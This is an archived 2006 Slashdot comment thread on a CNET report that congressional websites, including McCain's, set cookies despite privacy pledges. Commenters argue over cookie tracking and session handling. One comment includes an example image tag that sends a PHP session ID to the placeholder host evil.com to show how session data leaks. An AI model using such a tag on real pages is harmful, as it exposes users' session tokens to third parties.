Please create an account to participate in the Slashdot moderation system

 


Forgot your password?
Close
typodupeerror
×
Privacy Government Politics

More Cookie Investigations 201

Posted by Zonk from the chocolate-chip-or-oatmeal-raisin dept.
FancyKetchup writes "This time, C|Net is caught up in cookie paranoia with their 'special investigation' into use of cookies on the Senate and House representative websites." From the article: "Sen. John McCain, R-Ariz., for instance, has been a longtime advocate of strict privacy laws to restrict commercial Web sites' data collection practices. In a statement posted on his own Web site, McCain assures visitors that 'I do not use 'cookies' or other means on my Web site to track your visit in any way.' But visiting mccain.senate.gov implants a cookie on the visitor's PC that will not expire until 2035. " Follow up to a story we reported on earlier.
This discussion has been archived. No new comments can be posted.

More Cookie Investigations More

More Cookie Investigations

Comments Filter:

  • Obviously... (Score:4, Funny)

    by __aaclcg7560 ( 824291 ) on Friday January 06, 2006 @07:41PM (#14413317)
    This is a job for the Cookie Monster!

    • Re:Obviously... (Score:3, Informative)

      by TubeSteak ( 669689 )
      http://www.google.com/search?q="be+afraid+of+the+c ookie+monster" [google.com]
      Should we be afraid of the cookie monster? This will have the paranoid all riled up again...


      • Screw cookies, do something about spam.

        If ISPs and States actually understood they can sue the spammers on their own turf. The spammers might start generating Frequent File Modules, but they're going to find themselves hip-deep pretty fast. And if they don't pay? Refer it to a collection agency. They give a rat's posterior unless|until it's a legitimate figure. The State AG or ISPs may not have the "Sue Spammer" money, it's not hurting ayone. So anything you get is gravy. Those collection agencies
    • Maybe the feds should take a hint from Cookie Monster's new take and realize "A cookie is a sometimes file."

  • Amazing (Score:4, Funny)

    by GmAz ( 916505 ) on Friday January 06, 2006 @07:41PM (#14413319) Journal
    Its simply amazing that after being posted for a few minutes, mccain.senate.gov is now down. Hmmm...think we can take down www.microsoft.com if we all go there at exactly 4:00pm Pacific Standard Time and hit F5 20 times??

  • I wonder.... (Score:4, Insightful)

    by Irish_Samurai ( 224931 ) on Friday January 06, 2006 @07:41PM (#14413321)
    I wonder how many people who think that cookies are horrible intrusions into their privacy really dig websites that auto populate their username and password when they visit them.

    • Re:I wonder.... (Score:1, Redundant)

      by LordNimon ( 85072 )
      The only way a website can do that is with cookies, so I'm not sure what your point is.
    • Auto-populating their username and password into the browser is done by the browser and nothing extra is given back to the website. Not so in the case of cookies.
      • Bullshit. A cookie contains what a developer puts in it. IT doesn't have to be a username. It could be a 128bit hex SHA1. Users don't know the difference half the time, Even if it was your username, it's not like everyone in the world can read it, and it has not a damn thing to do with "tracking your movements on the web".

        • Re:I wonder.... (Score:3, Interesting)

          by tehshen ( 794722 )
          My point was that you don't need cookies enabled to have your username and password filled in for you, that was it. What's the problem?
        • If your assertion was really true then MSN, Hotmail, Yahoo, hitbox, advertising, and everything else wouldn't need to set 4-8 cookies each. Heck, even Slashdot has multiple cookies dumped in here for each different section. What the heck good is that doing me? These sites don't need to set 12 different cookies. Maybe the users aren't being tracked per se but there's something going on that should really be made more public to the users.

          • Re:I wonder.... (Score:2, Informative)

            by LordNimon ( 85072 )
            Auto-population of userid and password is not something that all browsers support, so these sites use cookies to provide this feature for all browsers. Not only that, but some websites include HTML that specifically tells the browser NOT to remember userid and password. Banks typically do this, although the HTML can be overridden with Javascript [squarefree.com].
            • And why does this take more than one cookie? I don't know what the maximum length of the content field can be but, if it's anything over 32 characters, it would be easy to code username, status (login/logout), and have plenty of room for other fields which could have 255 values each.

              Since most sites make it a habit to use 4, 5, 6 or more cookies, often with more than one domain, there are two possibilities: Web designers are complete morons (hey, it could happen), or there's something going on which more
              • You are aware that these sites don't need to store *anything* in the cookie besides a unique key for the user?
                They then pull out with that key everything they want from a database, independend from the cookie size.

                That leaves us with
                a)web designers being complete morons, or
                b)site being composed of different web applications which all have their own demands for certain cookies to be set.
                For instance main site app server + some web statistics software serving one image and a cookie + some add serving software
                • site being composed of different web applications which all have their own demands for certain cookies to be set
                  It's a web page. How many applications are necessary to show my mail? If it's more than one there is something seriously wrong with the web designers.
      • It always seems like automatically filling in username and password would lead to some exploit, but I can't think of a case where this has happened. Since I don't read security reports with my breakfast, can anyone who does think of a instance?
        • A phishing/spoofing attack where even the browser or separate "form storage" tool will mistake a fraud site for the real one?
        • It always seems like automatically filling in username and password would lead to some exploit, but I can't think of a case where this has happened. Since I don't read security reports with my breakfast, can anyone who does think of a instance?

          Wifes standing behind their husbands while the browser automatically fills in the password for fsckingteens.com. Makes pretending he visited this site by mistake a little bit harder.

    • These days, it's the browser that does the auto-filling, not cookies.

      It's not an either/or scenario either. Some uses of cookies are purely innocuous, others really do compromise your privacy. I don't blame end-users for not being able to tell the difference.

      • True, now browsers often offer their own functionality, but cookies are also used for the same purpose by a lot of developers. Banking websites use cookies to trigger secondary security routines. No cookie = extra check.

        Also, I may be mistaken here, but as I understood it modern browsers would not allow other websites to read your cookies because your domain did not place them. I am aware of cross domain cookie capabilites between co-operating domains, but your one shot cookie was protected by a "sandbox."
        • For the most part yes, but all it takes is a cross site scripting vuln to steal anything out of a cookie. Or an iframe on the site (like doubleclick ads) storing cookies so that they can see which of their sites you visit and when, correlating all of this data to you.
    • Whats more, due to my intense investgation.. I have determined that I can't find any cookies on mccains website, after visiting there is no mccain.senate.gov or sentate.gov domain listed in my cookie manager on firefix...
    • Almost every website I go to, especially Apache websites run by techies who are highly unlikely to actually look at the cookie responses, seems to try a cookie request and then not mind if you reject it. (I normally run my browser with ask-me mode as the default because I want to know what sites are doing.) Is this a default, or does everybody really tell their website to do this? The cookies are normally from the sites themselves - it's not just cookies from ad-banners or whatever.
    • Umm, how many websites fill in your name and password?
      I've not even seen one, and it sure can't be common.

  • Lazy sensationalist journalism (Score:5, Informative)

    by Dynamoo ( 527749 ) * on Friday January 06, 2006 @07:43PM (#14413331) Homepage
    Cookies schmookies.. everything will be in the server logs anyway. And doesn't the DHS collate all ISP data in any case? The violations of privacy that people should be concerned about are not a few tracking cookies, but are in fact a widespread and ongoing monitoring and profiling of the activities of all internet users. And not just in the US either, this is common in Europe too. Really CNET and other media outlets are bleating about something that's irrelevant and are missing the real story.

    Also, having a go at the White House for using WebTrends to collect and analyse visitor data is nuts. When you've got a busy and important site like that, good quality analytics are vital. If they didn't have them, you'd probably find the media criticising the White House for not knowing about their visitor demographics, popular pages etc etc.

    That article really just smacks of lazy journalism. Whatever next.. discovering their PC has a "Temporary Internet Files" directory?



    • What's a "Temporary Internet Files" directory?
    • Perhaps someone can enlighten me, but how are cookies a privacy issue? The cookie gives the site access to information which it created in the first place, not any of your personal data. Anything it stores in a cookie could just as well be stored on the server. Cookies provide a slightly better way to tie data to a user than by ip address, but even then it's not really reliable identification.

      • The cookie gives the site access to information which it created in the first place, not any of your personal data.

        The trick is that the cookie can be linked to your personal information.

        The class "compromising cookie" scenario involves a cookie set by an embedded image from a different server [greenspun.com].

        Say that Evil, Inc runs a banner server banners.evil.com, which puts ads on kinky.xxx and on yourchurch.org (or maybe just an invisible "web bug" on either site). When you visit kinky.xxx, your browser request

    • The violations of privacy that people should be concerned about are not a few tracking cookies, but are in fact a widespread and ongoing monitoring and profiling of the activities of all internet users.

      I agree that this isn't a significant privacy issue. However, I think the real concern is that government websites are violating their own established privacy rules. In all these cases, it was probably an honest mistake, but people really should complain loudly any time any government agency seems to cons

  • Cookies are not all that evil (Score:3, Informative)

    by IntelliAdmin ( 941633 ) * on Friday January 06, 2006 @07:44PM (#14413346) Homepage
    I know why people get so upset when cookies are stored, but most of the time it is used for useful things. For example it can be a great way to come back to slashdot and already be logged in. I hate typing in my password all the time. Blah.

  • Cookies are just cookies (Score:3, Insightful)

    by Elixon ( 832904 ) on Friday January 06, 2006 @07:44PM (#14413349) Homepage Journal
    I think that if NSA or others decides to keep eye on you - they don't need cookies at all :-)) They have also other more effective technologies in the pocket... So why so big bang around cookies while your phones are being tapped without the court approval?
  • First of all, I'm guessing its the same cookie that you get if you go to anything.senate.gov

    Secondly, whats all the fuss about? Cookies are incredibly harmless compared to everything else floating around the internets. Right?

    Oh well. Damn politians. I'm sure John McCain is perfectly correct. He, personally, does not use cookies to track people. He probably doesn't.
    • "Secondly, whats all the fuss about? Cookies are incredibly harmless compared to everything else floating around the internets. Right?"
      wrong wrong wrong.

      First just because there there is a lot of other things floating araound, doesn't mean things percieved as minor should be ignored.

      Do you know what started the 'don't track cookies' effort withing the government? The white house was tracking people who had cookies from a marijuana advocacy site.

      • Re: More Cookie Investigations (Score:4, Funny)

        by JeanBaptiste ( 537955 ) on Friday January 06, 2006 @07:56PM (#14413440)
        got a link for that thing about the government-marijuana-cookie-tracking thing you menationed?

        not that I don't believe you, i'd just like to read more on it. //mmmm marijuana cookies
      • I call half bullshit. If a user visits maryjowanna.com and get's a cookie form there, that cookie only get's sent back to maryjowanna.com, and never sent to the whitehouse.gov servers by the browser. (all browser/javascript vulnerabilities aside).
        • That's true now, but it wasn't always. Back about ten years ago, any site could ask for your complete cookie list and view any cookie it wanted. That made it possible to track you across sites, and people didn't like it one bit. Then, browsers were changed so that no domain could see cookies it hadn't set itself. Naturally, computer illiterates who'd managed to learn "cookies are bad" never caught on to the fact that the problem's been fixe and still fear them. It's possible that the story about tracki

  • whooboy. (Score:5, Insightful)

    by User 956 ( 568564 ) on Friday January 06, 2006 @07:44PM (#14413354) Homepage
    "Sen. John McCain, R-Ariz., for instance, has been a longtime advocate of strict privacy laws to restrict commercial Web sites' data collection practices. In a statement posted on his own Web site, McCain assures visitors that 'I do not use 'cookies' or other means on my Web site to track your visit in any way.' But visiting mccain.senate.gov implants a cookie on the visitor's PC that will not expire until 2035. "

    Because, as we all know, all politicians are fully versed in technology and its myriad uses.

    • Re:whooboy. (Score:1, Insightful)

      by Anonymous Coward
      Because, as we all know, all politicians are fully versed in technology and its myriad uses.

      If he allows statements to be attributed to him then he should take the time to find out whether they're true. Of course he's culpable if they aren't. There's no difference between a website and a speech that he got some guy to write for him in that regard.
    • Because, as we all know, all politicians are fully versed in technology and its myriad uses.

      When confronted by the press about his website leaving cookies on people's computers, McCain apologized profusely, and promised that milk would be provided in the future.
  • McCain assures visitors that 'I do not use 'cookies'
    Bush assures citizens that 'we get court orders to do wiretaps'

    Why are we surprised?
    I doubt McCain did this on purpose, but even if he did, should we be surprised?

    I remember the last thread about cookies and the NSA had a lot of people saying 'this is nothing important' and I imagine we'll get the same comments again.

    Here's the previous thread set to +3 [slashdot.org]
    • I doubt McCain did this on purpose, but even if he did, should we be surprised?

      One thing I'm curious about, does Sen. McCain (or anyone in his employ) run McCain.Senate.Gov or is it all together on one server with all the other Senators web sites? Basically, does he have any control over that site using cookies?

    • Executive Privilege (Score:3, Insightful)

      by grcumb ( 781340 )

      "McCain assures visitors that 'I do not use 'cookies'
      Bush assures citizens that 'we get court orders to do wiretaps'      "

      You know, this is the thing that really shorts my circuits sometimes. Here we have a president who has effectively admitted, "Yeah, so I attack foreign nations, imprison and torture anyone I want to, arbitrarily decide who's allowed to fly and who's not, spy on anyone I want to, whether the courts want me to or not." And people very earnestly debate whether this is a partisan issue, and if

  • Fix? (Score:3, Interesting)

    by Thunderstruck ( 210399 ) on Friday January 06, 2006 @07:46PM (#14413370)
    Can anyone direct me to an easy way to get a "wipe cookies" button in my Firefox toolbar? Perhaps something to make deleting all of my cookies as easy as hitting "refresh" while looking at a high school website?

    • One way is to make all cookies session-only, Edit -> Preferences -> Privacy -> Cookies -> for the originating Web site only.

      And Firefox 1.5 has a delete things option from a menu bar.

      What more could you want?

    • Re:Fix? (Score:2, Informative)

      by Eberlin ( 570874 )
      I think the new firefox (1.5) has a Ctrl-Shift-Delete hotkey thing to clear cookies, history, and a few other things. Pretty neat, actually. Haven't found an equivalent quick-stop privacy cleaning thing in IE nor Konqueror...though I must admit I haven't really looked too hard on IE since Firefox came around. :)
      • Plus, I believe there's a bug filed on Bugzilla to create a corresponding toolbar button for that menu command. But that wont be till Firefox 2.0.
    • Add N Edit Cookies

  • implants a cookie? (Score:2, Interesting)

    by Inertiatia ( 137457 )
    I cleared all cookies and went to mccain.senate.gov - checked the cookies and nothing. Anyone else?

  • For The Love Of FSM (Score:4, Informative)

    by ThatDamnMurphyGuy ( 109869 ) on Friday January 06, 2006 @07:53PM (#14413418) Homepage
    Just because a server sends a cookie doesn't mean that the whole world is tracking what you do. It's precisely this kind of media paranoia that makes development damn near impossible without idiot users bitching about harmless cookies. Guess what. Your ISP has more informaiton about what you do on the net that almost any cookie you can get.

  • Stupid Question (Score:3, Insightful)

    by Anonymous Coward on Friday January 06, 2006 @07:57PM (#14413450)
    If CNet is so concerned about the government using cookies why does CNet use cookies? Why does CNet allow their advertisers to use cookies? Why does CNet and their advertisers use Flash?

    Oh, you didn't know that Flash is the new favorite means of tracking you? Hold onto your seat Tonto, you're about to get a wake up call! Flash is far more effective than any cookie ever was and no one seems to notice. Have a look at the contents of:

    ~/.macromedia

    or

    C:\Documents and Settings\User_Name\Application Data\Macromedia\

    • Re:Stupid Question (Score:2, Interesting)

      by Anomalyst ( 742352 )
      Sorry, I dont have that directory emtry, I do not install Flash and have no need for sites that insist on it as the only navigation option. With very few exceptions, a website should be inanimate. If there is a justifiable reason for a Flash content, there is not enough justification for using it on the front page, it should be buried deeper in the site with a resonable HTTP alternative. I do not have a compelling need for dropdown menus and other useless eyecandy, a hyperlink works just fine for me. I find
    • Yet another excellent reason for not installing the crap in the first place.
  • Looks like the great cookie scare is back. So what they lied about cookies. COOKIES people. Unless you're Doubleclick with the ability to track users over thousands of sites you're not able to do much.
  • Then it doesn't matter if the cookie is set. And McCain's statement "I don't use cookies" can still be true, even if his site sets them. Unused cookies get set all the time. Most web servers set them by default. But just because they're set doesn't mean the site uses them.

  • A thoroughly informative and useful article... not (Score:3, Informative)

    by pookemon ( 909195 ) on Friday January 06, 2006 @08:07PM (#14413536) Homepage
    Cookies are unique ID numbers that a remote Web site hands a browser, which automatically regurgitates them upon subsequent visits. They can be used for something as innocuous as permitting someone to customize a Web site's default language for return visits.

    Unique ID numbers? Cookies are (essentially) text files, that allow the web developer to write the limited amount of information they can gather on you (or more commonly anything they need to track from page to page) onto your machine so that it can be retrieved at a later date by the same web application that stored them.

    The Unique ID number they are talking about is actually the Session ID allocated by the server that identifies an individual browser session. Shut down and then reopen your browser, and you'll (most likely) get a different session ID. The completely stuffed thing about the paranoia regarding cookies is that any information that the browser could determine about you (IP, the port you are using, the page you last visited in order to get the the current page) could simply be written to the servers database - irrespective of whether or not you have cookies enabled.

    In the worst case, they can be used to invade privacy by correlating one person's visits to potentially thousands of different Web sites.

    OMG - that'll end civilisation as we know it! Of course this assumes that some can get their hands on ALL your cookies. Perhaps with Netscape it wasn't so hard given they were all stored in a single file - but I would think (I've never tried myself but the how of it is not obvious) you would need some sort of ActiveX control or an exploit of some kind to be able to access Cookies other than those from your web site.
    • In the worst case, they can be used to invade privacy by correlating one person's visits to potentially thousands of different Web sites.

      OMG - that'll end civilisation as we know it! Of course this assumes that some can get their hands on ALL your cookies. Perhaps with Netscape it wasn't so hard given they were all stored in a single file - but I would think (I've never tried myself but the how of it is not obvious) you would need some sort of ActiveX control or an exploit of some kind to be able to ac

    • The Unique ID number they are talking about is actually the Session ID allocated by the server that identifies an individual browser session

      No, actually, 99% of the time, the cookie is there to allow for unique identification, getting around the fact that http is stateless. This could be storing a username or a user id or something else. Session IDs are also often stored in cookies, but that really is not what they're talking about here.

  • paranoia (Score:2, Informative)

    by insertwackynamehere ( 891357 )
    if you don't want to be tracked, you shouldn't go on the internet or www anyway. in theory people can always "track" you on the world wide web, its not like you dont leave an imprint by a) connecting and b) by accessing a website or server. it's all logged, your IP address, time visited, etc. but the real question is who the heck cares? and cookies? cookies are used to store information, on the USERS computer. sites use cookies for users convenience. they store a value which the site can later access. they

  • Session strings instead (Score:5, Informative)

    by tetranz ( 446973 ) on Friday January 06, 2006 @08:13PM (#14413578)
    Ben Forte [forta.com] of ColdFusion fame has quite a good reply to the cookie news items.
    I wonder if the government anti-cookie rule / recommendation / whatever it is exactly, has caused some developers to avoid even session cookies by using URL strings instead. These are less secure than cookies because they end up in web logs, get bookmarked, emailed etc. Despite what another post said, I don't think cookie values generally end up in logs.
    I admit to using session strings myself because a few years ago lots of people were scared into turning cookies off in their browser. That doesn't seem to be much of a problem these days. I hope this misguided publicity is not going to trigger a return of those days. Likewise for Javascript.
    • some developers to avoid even session cookies by using URL strings instead

      Yes, that is what I was thinking. We all love PHP right? And those long unique autogenerated PHPSESSIONIDs are perfect for cross site information transfer.

      <img src="http://evil.com/foo.jpg?PHPSESSIONID=xyxxyxyx y"%gt;

      These are done in spam mail all the time. I'm not sure if mail programs by default still show images, but it is common for them to have images that have appended your email address in some way to verify you got the

  • Someone needs to tell them about HTTP Sessions (Score:3, Insightful)

    by ishmalius ( 153450 ) on Friday January 06, 2006 @08:24PM (#14413640)
    Most cookies are not only not evil, they are purely mechanical.

    As far as I have seen from experience, the vast majority of cookies in use today are merely for storing a user's session key. They just store your virtual "connected" status (with the otherwise connectionless HTTP) for the duration of your visit to the site, and expire and are discarded after a few minutes of idleness (usually 30 minutes).

    Of course, it would be nice to not have session cookies at all, but it appears to the user to be the most transparent. The other main method is to have a session key in the URI. How many times have you seen "?sessionid='somedata'" or "?JSESSIONID='somedata'" appended to the end of a URL?

    The other ways, such as hashing the agent's info (ip address, browser, etc) on the server and doing a lookup for every page request, or passing the data back and forth in 'type=hidden' form fields, are less reliable.

    I think that if someone would tell the media this missing bit of info, the hype might fade, if only temporarily. There are too many Chicken Littles (Cassandras?) in the world for paranoia to take a permant holiday.

    • Cassandra was a Trojan chick who for some reason was cursed by some god with the ability to see the future, however to have her predictions never ever be believed. She foresaw the fall of troy and told everybody but the Trojans ignored her. Contrast Cassandra, who is prophesying doom correctly, with Chicken Little who is freaked out over nothing. Thus endeth my picking of the nit.
  • Maybe its just me but given all the current issues that are cropping up with the NSA and the president doing electronic taps without warrents or oversight, that worrying about cookies is probably something that is of much lesser importance? Possibly laughably so in comparison. The people who run John McCain's senate site probably are not going to use that data to link you to some terrorist plot or whatever have you; no, some guys in the NSA are going to skip the whole cute cookies bit and get straight down
  • Those who don't understand cookies are doomed to argue against them, poorly.

    You don't need cookies to track people online. IP plus browser string works fine if the number of users is small enough. In most online forums, I can (if I wanted) track forum members just by checking my server log for hits to my linked avatar. Without any setup/work required on my part, just with the host's default server settings, it tells me their ip address, the referer (which of my posts they were reading), when they viewed it,
  • This is actually media coverage about something very small to distract the media and common users from the real point and what is actually happening around us (the scandals around the wiretapping for example... what do you mean already forgotten???)

  • Self Slashdoting Host (SSH) (Score:2, Funny)

    by Anonymous Coward
    From http://mccain.senate.gov/ [senate.gov]

    Sorry, the http://mccain.senate.gov/ [senate.gov] web page you have requested is experiencing technical difficulties. The Webmaster has been alerted.

    You will be automatically redirected to the http://mccain.senate.gov/ [senate.gov] Home page after 10 seconds.

    I love sites that slashdot themselves. It takes the work away from actually havign to pound the refresh button :-)
  • I just visited mccain.senate.gov, and it didn't set a cookie. However, I have an extensive list of .gov cookies set previously:
    • mccain.senate.gov (from earlier visits on my other computer)
    • schumer.senate.gov
    • durbin.senate.gov
    • kerry.senate.gov
    • judiciary.senate.gov
    • kyl.senate.gov
    • frist.senate.gov
    • hsc.house.gov
    • appropriations.house.gov

    At least it's a bipartisan issue. I'd better delete them quickly or people might think I stay informed about my government. Good thing aljazeera.net doesn't set a cookie or

  • This just in...

    GOVERNMENT SECRETLY TRACKS CITIZENS

    Washington, D.C.-- A secret group of contractors, hired by the White House, have started tracking the movements of citizens in an information kiosk set up outside the Capitol building.

    "This is a blatant violation of privacy," said Murtaugh King, privacy advocate and internet blogger. "What they are doing fundamentally violates the constitution."

    According to a White House spokesman, the information kiosk was set up outside the capitol building as a way to giv

Slashdot Top Deals

On the eighth day, God created FORTRAN.

Close